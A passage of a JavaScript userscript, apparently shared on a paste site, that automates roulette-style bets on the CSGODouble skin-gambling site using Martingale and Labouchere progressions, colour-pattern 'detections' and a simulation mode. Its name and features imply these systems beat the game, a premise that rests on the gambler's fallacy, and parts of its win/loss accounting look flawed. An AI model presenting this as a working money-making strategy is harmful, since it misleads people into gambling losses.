  500.           nightengaleOddsOfLosingXTimesInARow.innerHTML = (Math.pow((7 / 15), Math.floor(Math.log((simulationMoneyInput.value / nightengaleDefaultBetInput.value) + 1) / Math.log(2))) * 100).toFixed(3) + "%";
  501.           nightengaleOddsOfLosingIn1Day.innerHTML = (((Math.pow((7 / 15), Math.floor(Math.log((simulationMoneyInput.value / nightengaleDefaultBetInput.value) + 1) / Math.log(2)))) * (1728 - Math.floor(Math.log((simulationMoneyInput.value / nightengaleDefaultBetInput.value) + 1) / Math.log(2)) + 1)) * 100).toFixed(3) + "%";
  502.           nightengalePercentageOfMoneyAsDefaultBet.innerHTML = ((nightengaleDefaultBetInput.value / simulationMoneyInput.value) * 100).toFixed(4) + "%";
  503.         } else {
  504.           nightengaleOddsOfLosingXTimesInARowX.innerHTML = Math.floor(Math.log((getBalance() / nightengaleDefaultBetInput.value) + 1) / Math.log(2));
  505.           nightengaleOddsOfLosingXTimesInARow.innerHTML = (Math.pow((7 / 15), Math.floor(Math.log((getBalance() / nightengaleDefaultBetInput.value) + 1) / Math.log(2))) * 100).toFixed(3) + "%";
  506.           nightengaleOddsOfLosingIn1Day.innerHTML = (((Math.pow((7 / 15), Math.floor(Math.log((getBalance() / nightengaleDefaultBetInput.value) + 1) / Math.log(2)))) * (1728 - Math.floor(Math.log((getBalance() / nightengaleDefaultBetInput.value) + 1) / Math.log(2)) + 1)) * 100).toFixed(3) + "%";
  507.           nightengalePercentageOfMoneyAsDefaultBet.innerHTML = ((nightengaleDefaultBetInput.value / getBalance()) * 100).toFixed(4) + "%";
  508.         }
  509.       };
  510.     }
  511.      
  512.     labouchereGoalInput.oninput = function() {
  513.       if (labouchereLines.value != '' && labouchereLines.value > 0)
  514.         laboucherePredictedBets.innerHTML = Math.ceil(parseInt(labouchereGoalInput.value) / ((7 / 15) * labouchereLines.value));
  515.     };
  516.      
  517.     labouchereLines.oninput = function() {
  518.       if (labouchereGoalInput.value != '' && labouchereGoalInput.value > 0)
  519.         laboucherePredictedBets.innerHTML = Math.ceil(parseInt(labouchereGoalInput.value) / ((7 / 15) * labouchereLines.value));
  520.     }
  521.      
  522.     red.onclick = function() {
  523.       if (status == 2 && !betOnThisRound) {
  524.         currBetAmount = parseInt(simulateBetAmt.value);
  525.         currBetColor = 'r';
  526.         console.log("%c[x2Destroyer] Total Money: " + simulationMoney + " // Total Bets: " + (betsWon + betsLost) + " // Wins: " + betsWon + " Losses: " + betsLost + " // Net Change: " + toSignedInt(simulationMoney - simulationMoneyStart) + " // Simulated Bet of " + currBetAmount + " credits on color " + currBetColor, "color:purple;");
  527.         betOnThisRound = true;
  528.       } else {
  529.         if (betOnThisRound)
  530.           console.log("%c[x2Destroyer] You already bet on this round...", "color:red;");
  531.         else
  532.           console.log("%c[x2Destroyer] Betting for this round is closed...", "color:red;");
  533.       }
  534.     }
  535.      
  536.     green.onclick = function() {
  537.       if (status == 2) {
  538.         if (!betOnThisRound) {
  539.           currBetAmount = parseInt(simulateBetAmt.value);
  540.           currBetColor = 'g';
  541.           console.log("%c[x2Destroyer] Total Money: " + simulationMoney + " // Total Bets: " + (betsWon + betsLost) + " // Wins: " + betsWon + " Losses: " + betsLost + " // Net Change: " + toSignedInt(simulationMoney - simulationMoneyStart) + " // Simulated Bet of " + currBetAmount + " credits on color " + currBetColor, "color:purple;");
  542.           betOnThisRound = true;
  543.         } else {
  544.           console.log("%c[x2Destroyer] You already bet on this round...", "color:red;");
  545.         }
  546.       } else {
  547.         console.log("%c[x2Destroyer] Betting for this round is closed...", "color:red;");
  548.       }
  549.     };
  550.      
  551.     black.onclick = function() {
  552.       if (status == 2) {
  553.         if (!betOnThisRound) {
  554.           currBetAmount = parseInt(simulateBetAmt.value);
  555.           currBetColor = 'b';
  556.           console.log("%c[x2Destroyer] Total Money: " + simulationMoney + " // Total Bets: " + (betsWon + betsLost) + " // Wins: " + betsWon + " Losses: " + betsLost + " // Net Change: " + toSignedInt(simulationMoney - simulationMoneyStart) + " // Simulated Bet of " + currBetAmount + " credits on color " + currBetColor, "color:purple;");
  557.           betOnThisRound = true;
  558.         } else {
  559.           console.log("%c[x2Destroyer] You already bet on this round...", "color:red;");
  560.         }
  561.       } else {
  562.         console.log("%c[x2Destroyer] Betting for this round is closed...", "color:red;");
  563.       }
  564.     };
  565.     //END [DEFINE LISTENERS]
  566.      
  567.     //START [DEFINING FUNCTIONS]
  568.     function checkStatus() {
  569.       //STATUSES
  570.       // 1 // Rolling    // ***ROLLING***
  571.       // 2 // Betting    // Rolling in XX.XX...
  572.       // 3 // Rolled     // CSGODouble rolled 3!
  573.       // 4 // Confirming // Confirming 625/625 total bets
  574.       return statusBanner.innerHTML;
  575.     }
  576.      
  577.     function getBalance() {
  578.       return balanceSpan.innerHTML;
  579.     }
  580.      
  581.     function secondsToHHMMSS(d) {
  582.       d = Number(d);
  583.       var h = Math.floor(d / 3600);
  584.       var m = Math.floor(d % 3600 / 60);
  585.       var s = Math.floor(d % 3600 % 60);
  586.      
  587.       return ((h > 0 ? h + ":" + (m < 10 ? "0" : "") : "") + m + ":" + (s < 10 ? "0" : "") + s);
  588.     }
  589.      
  590.     /*function sleep() {
  591.         var ms = Math.floor((Math.random() * 100) + 1);
  592.         ms += Math.floor((Math.random() * 100) + 1);
  593.         ms += Math.floor((Math.random() * 100) + 1);
  594.         ms *= 100;
  595.      
  596.         return (new Promise(function(resolve, reject) {
  597.           setTimeout(function() {
  598.             resolve();
  599.           }, ms);
  600.         }));
  601.       }*/
  602.      
  603.     function sleep(x) {
  604.       return (new Promise(function(resolve, reject) {
  605.         setTimeout(function() {
  606.           resolve();
  607.         }, x);
  608.       }));
  609.     }
  610.      
  611.      
  612.     function bet(amount, rgb) {
  613.       switch (rgb) {
  614.         case 'r':
  615.           sleep(10000).then(function() {
  616.             betAmountInput.value = amount;
  617.             redBetButton.click();
  618.           });
  619.           break;
  620.         case 'g':
  621.           sleep(5000).then(function() {
  622.             betAmountInput.value = amount;
  623.             greenBetButton.click();
  624.           });
  625.           break;
  626.         case 'b':
  627.           sleep(10000).then(function() {
  628.             betAmountInput.value = amount;
  629.             blackBetButton.click();
  630.           });
  631.           break;
  632.       }
  633.     }
  634.      
  635.      
  636.     function getColorFromNumber(number) {
  637.       if (number == 0)
  638.         return 'g';
  639.       else if (number >= 1 && number <= 7)
  640.         return 'r';
  641.       else if (number >= 8 && number <= 14)
  642.         return 'b';
  643.     }
  644.      
  645.     function toSignedInt(number) {
  646.       if (number > 0)
  647.         return "+" + number;
  648.      
  649.       return number
  650.     }
  651.      
  652.     function calculateNewDefaultBet(defaultBet, moneyStart, money) {
  653.       return Math.floor((defaultBet / moneyStart) * money);
  654.     }
  655.     //END [DEFINING FUNCTIONS]
  656.      
  657.     //START [MAIN LOOP]
  658.     setInterval(function() {
  659.       runtimeSpan.innerHTML = secondsToHHMMSS(++runtime);
  660.      
  661.       if (running) {
  662.         fullStatus = checkStatus()
  663.         switch (fullStatus.substring(0, 2)) {
  664.           case "**":
  665.             rolled = true;
  666.             status = 1;
  667.             break;
  668.      
  669.           case "Ro":
  670.             if (betOnThisRound && rolled) {
  671.               betOnThisRound = false;
  672.               checkedIfWon = false;
  673.               rolled = false;
  674.             }
  675.             status = 2;
  676.             break;
  677.      
  678.           case "CS":
  679.             status = 3;
  680.             break;
  681.      
  682.           case "Co":
  683.             status = 4;
  684.             break;
  685.      
  686.           default:
  687.             status = 0;
  688.             break;
  689.         }
  690.         //if (status == 2)
  691.         //  console.log("%c[x2Destroyer] Website Status: " + status + " // Rolling in XX.XX...", "color:orange;");
  692.         //else
  693.         // console.log("%c[x2Destroyer] Website Status: " + status + " // " + checkStatus(), "color:orange;");
  694.      
  695.         if (!betOnThisRound && status == 2) {
  696.           skipBet = false;
  697.           //decide which color to bet on
  698.           if (!manualMode) {
  699.             if (getColorFromNumber(document.getElementById("past").childNodes[9].innerHTML) != 'g') currBetColor = getColorFromNumber(document.getElementById("past").childNodes[9].innerHTML);
  700.             else
  701.               currBetColor = 'r';
  702.      
  703.             if (trainProtectionCheckbox.checked) {
  704.               if ((getColorFromNumber(document.getElementById("past").childNodes[8].innerHTML) == 'r' && getColorFromNumber(document.getElementById("past").childNodes[9].innerHTML) == 'r') || (getColorFromNumber(document.getElementById("past").childNodes[8].innerHTML) == 'b' && getColorFromNumber(document.getElementById("past").childNodes[9].innerHTML) == 'b')) {
  705.                 console.log("%c[x2Destroyer] Train Detected!", "color:blue;");
  706.                 currBetColor = getColorFromNumber(document.getElementById("past").childNodes[9].innerHTML);
  707.               }
  708.             }
  709.      
  710.             if (rainbowProtectionCheckbox.checked) {
  711.               if ((getColorFromNumber(document.getElementById("past").childNodes[7].innerHTML) == 'b' && (getColorFromNumber(document.getElementById("past").childNodes[8].innerHTML) == 'r') && getColorFromNumber(document.getElementById("past").childNodes[9].innerHTML) == 'b') || (getColorFromNumber(document.getElementById("past").childNodes[7].innerHTML) == 'r' && (getColorFromNumber(document.getElementById("past").childNodes[8].innerHTML) == 'b') && getColorFromNumber(document.getElementById("past").childNodes[9].innerHTML) == 'r')) {
  712.                 console.log("%c[x2Destroyer] Rainbow Detected!", "color:blue;");
  713.                 currBetColor = getColorFromNumber(document.getElementById("past").childNodes[8].innerHTML);
  714.               }
  715.             }
  716.             if (rrbbProtectionCheckbox.checked) {
  717.               if ((getColorFromNumber(document.getElementById("past").childNodes[6].innerHTML) == 'b' && getColorFromNumber(document.getElementById("past").childNodes[7].innerHTML) == 'b' && getColorFromNumber(document.getElementById("past").childNodes[8].innerHTML) == 'r' && getColorFromNumber(document.getElementById("past").childNodes[9].innerHTML) == 'r') || (getColorFromNumber(document.getElementById("past").childNodes[6].innerHTML) == 'r' && getColorFromNumber(document.getElementById("past").childNodes[7].innerHTML) == 'r' && getColorFromNumber(document.getElementById("past").childNodes[8].innerHTML) == 'b' && getColorFromNumber(document.getElementById("past").childNodes[9].innerHTML) == 'b')) {
  718.                 console.log("%c[x2Destroyer] RRBB Pattern Detected!", "color:blue;");
  719.                 currBetColor = getColorFromNumber(document.getElementById("past").childNodes[6].innerHTML);
  720.               }
  721.             }
  722.             if (rrbProtectionCheckbox.checked) {
  723.               if ((getColorFromNumber(document.getElementById("past").childNodes[7].innerHTML) == 'b' && getColorFromNumber(document.getElementById("past").childNodes[8].innerHTML) == 'b' && getColorFromNumber(document.getElementById("past").childNodes[9].innerHTML) == 'r') || (getColorFromNumber(document.getElementById("past").childNodes[7].innerHTML) == 'r' && getColorFromNumber(document.getElementById("past").childNodes[8].innerHTML) == 'r' && getColorFromNumber(document.getElementById("past").childNodes[9].innerHTML) == 'b')) {
  724.                 console.log("%c[x2Destroyer] RRB Pattern Detected!", "color:blue;");
  725.                 currBetColor = getColorFromNumber(document.getElementById("past").childNodes[7].innerHTML);
  726.               }
  727.             }
  728.           }
  729.      
  730.           if (mode == 0 && !manualMode) { //Martingale System
  731.             if (nightengaleStopAfterXGamesCheckbox.checked && (betsWon + betsLost) == parseInt(nightengaleStopAfterXGamesInput.value)) {
  732.               stopButton.click();
  733.               console.log("%c[x2Destroyer] Nightengale: Stop after " + nightengaleStopAfterXGamesInput.value + " reached! Stopping...: ", "color:purple");
  734.             }
  735.      
  736.             if (nightengaleStopAfterReachingXCheckbox.checked && ((!simulationMode && ((getBalance() - startBalance) == parseInt(nightengaleStopAfterReachingXInput.value))) || (simulationMode && ((simulationMoney - simulationMoneyStart) == parseInt(nightengaleStopAfterReachingXInput.value))))) {
  737.               stopButton.click();
  738.               console.log("%c[x2Destroyer] Nightengale: Stop after attaining " + nightengaleStopAfterReachingXInput.value + " reached! Stopping...: ", "color:purple");
  739.             }
  740.      
  741.             //decide the amount to bet
  742.             if (antiDoubleGreenCounter == 0)
  743.               antiDoubleGreenCounter = -1;
  744.      
  745.             if (!betOnThisRound && wonLastBet) {
  746.               currBetAmount = parseInt(nightengaleDefaultBetInput.value);
  747.               if (betOnGreenEnabled)
  748.                 currBetGreenAmount = parseInt(nightengaleBetOnGreenInput.value);
  749.               antiLoseAllCounter = 0;
  750.      
  751.             } else if (antiDoubleGreenCounter == -1 && !betOnThisRound && antiDoubleGreenEnabled && getColorFromNumber(document.getElementById("past").childNodes[9].innerHTML) == 'g') {
  752.               antiDoubleGreenCounter = parseInt(nightengaleAntiDoubleGreenInput.value);
  753.               console.log("%c[x2Destroyer] Skipping the next " + antiDoubleGreenCounter + " bets!", "color:green");
  754.               skipBet = true;
  755.               betOnThisRound = true;
  756.               antiDoubleGreenCounter -= 1;
  757.             } else if (!betOnThisRound && antiDoubleGreenCounter >= 0) {
  758.               if (antiDoubleGreenCounter == 1) {
  759.                 console.log("%c[x2Destroyer] Last bet skip!", "color:green");
  760.                 antiDoubleGreenCounter = -1;
  761.                 skipBet = true;
  762.                 betOnThisRound = true;
  763.               } else if (!skipBet && !betOnThisRound) {
  764.                 console.log("%c[x2Destroyer] Skipping the next " + antiDoubleGreenCounter + " bets", "color:green");
  765.                 betOnThisRound = true;
  766.                 skipBet = true;
  767.                 antiDoubleGreenCounter -= 1;
  768.               }
  769.             } else {
  770.               antiLoseAllCounter++;
  771.               if (antiBankruptcy && ((simulationMode && (lastBetAmount * 2 > simulationMoney)) || (!simulationMode && (lastBetAmount * 2 > getBalance())))) {
  772.                 console.log("%c[x2Destroyer] Anti-Bankruptcy triggered!", "color:blue;");
  773.      
  774.                 if (simulationMode) {
  775.                   nightengaleDefaultBetInput.value = calculateNewDefaultBet(nightengaleDefaultBetInput.value, simulationMoneyStart, simulationMoney);
  776.                   console.log("%c[x2Destroyer] Anti-Bankruptcy calculated new default bet: " + nightengaleDefaultBetInput.value, "color:blue;");
  777.                 } else {
  778.                   nightengaleDefaultBetInput.value = calculateNewDefaultBet(nightengaleDefaultBetInput.value, startBalance, getBalance());
  779.                   console.log("%c[x2Destroyer] Anti-Bankruptcy calculated new default bet: " + nightengaleDefaultBetInput.value, "color:blue;");
  780.                 }
  781.      
  782.                 currBetAmount = parseInt(nightengaleDefaultBetInput.value);
  783.                 if (betOnGreenEnabled)
  784.                   currGreenBetAmount = parseInt(nightengaleBetOnGreenInput.value);
  785.                 wonLastBet = true;
  786.               } else {
  787.                 if (antiLoseAllCounter >= parseInt(nightengaleAntiLoseallInput.value)) {
  788.                   antiLoseAllCounter = 0;
  789.                   console.log("%c[x2Destroyer] Anti-Lose all triggered!", "color:green");
  790.                   currBetAmount = parseInt(nightengaleDefaultBetInput.value);
  791.                   if (betOnGreenEnabled)
  792.                     currGreenBetAmount = parseInt(nightengaleBetOnGreenInput.value);
  793.                 } else {
  794.                   currBetAmount = lastBetAmount * 2;
  795.                   if (betOnGreenEnabled)
  796.                     currBetGreenAmount = lastBetGreenAmount * 2;
  797.                 }
  798.               }
  799.      
  800.             }
  801.           }
  802.         } else if (mode == 1 && !manualMode) { //labouchere system
  803.           if (simulationMode) {
  804.             if ((simulationMoney - simulationMoneyStart) == goal) {
  805.               stopButton.click();
  806.               console.log("%c[x2Destroyer] Labouchere goal reached! Stopping...: ", "color:purple");
  807.             }
  808.           } else {
  809.             if ((getBalance() - startBalance) == goal) {
  810.               stopButton.click();
  811.               console.log("%c[x2Destroyer] Labouchere goal reached! Stopping...: ", "color:purple");
  812.             }
  813.           }
  814.      
  815.           if (wonLastBet && (betsWon + betsLost) > 0) {
  816.             lines.splice((lines.length - 1), 1);
  817.             lines.splice(0, 1);
  818.           } else if (!wonLastBet && (betsWon + betsLost) > 0) {
  819.             lines.push(lastBetAmount);
  820.           }
  821.      
  822.           if (lines.length > 1)
  823.             currBetAmount = (lines[0] + lines[lines.length - 1]);
  824.           else
  825.             currBetAmount = lines[0];
  826.      
  827.           console.log("%c[x2Destroyer] Lines: " + lines, "color:blue");
  828.         }
  829.      
  830.         //bet
  831.         if (!skipBet) {
  832.      
  833.           //////////////////////////////////////////////////////
  834.           if (currBetColor == 'r') {
  835.             resultcolor = "RED";
  836.           } else if (currBetColor == 'b') {
  837.             resultcolor = "BLACK";
  838.           } else if (currBetColor == 'g') {
  839.             resultcolor = "GREEN";
  840.           }
  841.           //////////////////////////////////////////////////////
  842.      
  843.           if (!simulationMode && !betOnThisRound) {
  844.             betOnThisRound = true;
  845.             lastBetAmount = currBetAmount;
  846.             lastBetGreenAmount = currBetGreenAmount;
  847.      
  848.      
  849.             //bet on green part
  850.             if (betOnGreenEnabled) {
  851.               console.log("%c[x2Destroyer] Total Money: " + getBalance() + " // Total Bets: " + (betsWon + betsLost) + " // Wins: " + betsWon + " Losses: " + betsLost + " // Net Change: " + toSignedInt(getBalance() - startBalance) + " // Bet of " + currBetGreenAmount + " credits on GREEN", "color:purple;");
  852.               bet(currBetGreenAmount, 'g');
  853.             }
  854.      
  855.      
  856.      
  857.      
  858.             console.log("%cTotal Money: " + getBalance() + " // Total Bets: " + (betsWon + betsLost) + " // Wins: " + betsWon + " Losses: " + betsLost + " // Max WinStreak: " + maxwinstreak + " // Max LoseStreak: " + maxlosestreak + " // Net Change: " + toSignedInt(getBalance() - startBalance) + " // Bet " + currBetAmount + " on " + resultcolor + " // Current " + winorlosestreak + ": " + currstreak, "color:purple;");
  859.             bet(currBetAmount, currBetColor);
  860.           } else if (simulationMode && !manualMode && !betOnThisRound) {
  861.             betOnThisRound = true;
  862.             lastBetAmount = currBetAmount;
  863.             lastBetGreenAmount = currBetGreenAmount;
  864.      
  865.             console.log("%cTotal Money: " + simulationMoney + " // Total Bets: " + (betsWon + betsLost) + " // Wins: " + betsWon + " Losses: " + betsLost + " // Max WinStreak: " + maxwinstreak + " // Max LoseStreak: " + maxlosestreak + " // Net Change: " + toSignedInt(simulationMoney - simulationMoneyStart) + " // Simulated Bet " + currBetAmount + " on " + resultcolor + " // Current " + winorlosestreak + ": " + currstreak, "color:purple;");
  866.             //console.log("%c[x2Destroyer] Total Money: " + simulationMoney, "color:purple;");
  867.             //console.log("%cTotal Bets: " + (betsWon + betsLost), "color:purple;");
  868.             //console.log("%cWins: " + betsWon + " Losses: " + betsLost, "color:purple;");
  869.             //console.log("%cNet Change: " + toSignedInt(simulationMoney - simulationMoneyStart), "color:purple;");
  870.             //console.log("%cSimulated Bet of " + currBetAmount, "color:purple;");
  871.             //console.log("%cMax WinStreak: " + maxwinstreak, "color:purple;");
  872.             //console.log("%cMax LoseStreak: " + maxlosestreak, "color:purple;");
  873.             //console.log("%cCurrent "+ winorlosestreak +": " + currstreak, "color:purple;");
  874.             //console.log("%cBet on color " + currBetColor, "color:purple;");
  875.             if (betOnGreenEnabled)
  876.               console.log("%c[x2Destroyer] Total Money: " + simulationMoney + " // Total Bets: " + (betsWon + betsLost) + " // Wins: " + betsWon + " Losses: " + betsLost + " // Net Change: " + toSignedInt(simulationMoney - simulationMoneyStart) + " // Simulated Bet of " + currBetGreenAmount + " credits on GREEN", "color:purple;");
  877.           }
  878.      
  879.           if (!checkedIfWon && betOnThisRound && status == 3) {
  880.             if ((betOnGreenEnabled && getColorFromNumber(checkStatus().substring(18, checkStatus().length - 1)) == 'g') || currBetColor == getColorFromNumber(checkStatus().substring(18, checkStatus().length - 1))) {
  881.               wonLastBet = true;
  882.      
  883.               //////////////////////////////////////////
  884.               wstreak = 1;
  885.               currstreak++;
  886.               maxlose = 0;
  887.               maxwin++;
  888.               if (maxwin > maxwinstreak) {
  889.                 maxwinstreak++;
  890.               }
  891.               if (lstreak > 0) {
  892.                 currstreak = 1;
  893.               }
  894.               lstreak = 0;
  895.               winorlosestreak = "Winstreak";
  896.               //////////////////////////////////////////
  897.      
  898.               betsWon++;
  899.               console.log("%c[x2Destroyer] Won Last Bet! :D", "color:green;");
  900.               if (simulationMode) {
  901.                 if (betOnGreenEnabled && getColorFromNumber(checkStatus().substring(18, checkStatus().length - 1)) == 'g')
  902.                   simulationMoney += currBetGreenAmount * 14;
  903.                 else if (betOnGreenEnabled && getColorFromNumber(checkStatus().substring(18, checkStatus().length - 1)) != 'g')
  904.                   simulationMoney -= currBetGreenAmount;
  905.      
  906.                 if (currBetColor != 'g') {
  907.                   if (currBetColor == getColorFromNumber(checkStatus().substring(18, checkStatus().length - 1)))
  908.                     simulationMoney += currBetAmount;
  909.                 } else {
  910.                   if (!(currBetColor == getColorFromNumber(checkStatus().substring(18, checkStatus().length - 1))))
  911.                     simulationMoney += 14 * currBetAmount;
  912.                 }
  913.               }
  914.             } else {
  915.               wonLastBet = false;
  916.      
  917.               //////////////////////////////////////////
  918.               lstreak = 1;
  919.               currstreak++;
  920.               maxwin = 0;
  921.               maxlose++;
  922.               if (maxlose > maxlosestreak) {
  923.                 maxlosestreak++;
  924.               }
  925.               if (wstreak > 0) {
  926.                 currstreak = 1;
  927.               }
  928.               wstreak = 0;
  929.               winorlosestreak = "Losestreak";
  930.               //////////////////////////////////////////
  931.      
  932.               betsLost++;
  933.               console.log("%c[x2Destroyer] Lost Last Bet! :(", "color:red;");
  934.               if (simulationMode) {
  935.                 if (betOnGreenEnabled && getColorFromNumber(checkStatus().substring(18, checkStatus().length - 1)) != 'g')
  936.                   simulationMoney -= currBetGreenAmount;
  937.                 else if (betOnGreenEnabled && getColorFromNumber(checkStatus().substring(18, checkStatus().length - 1)) == 'g')
  938.                   simulationMoney += currBetGreenAmount * 14;
  939.      
  940.                 if (!(currBetColor == getColorFromNumber(checkStatus().substring(18, checkStatus().length - 1))))
  941.                   simulationMoney -= currBetAmount;
  942.               }
  943.             }
  944.      
  945.             checkedIfWon = true;
  946.           }
  947.         } else if (!betOnThisRound && skipBet) {
  948.           console.log("%c[x2Destroyer] Skipping bet! :)", "color:green");
  949.         }
  950.       }
  951.     }, 1000);
  952.     //END [MAIN LOOP]
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement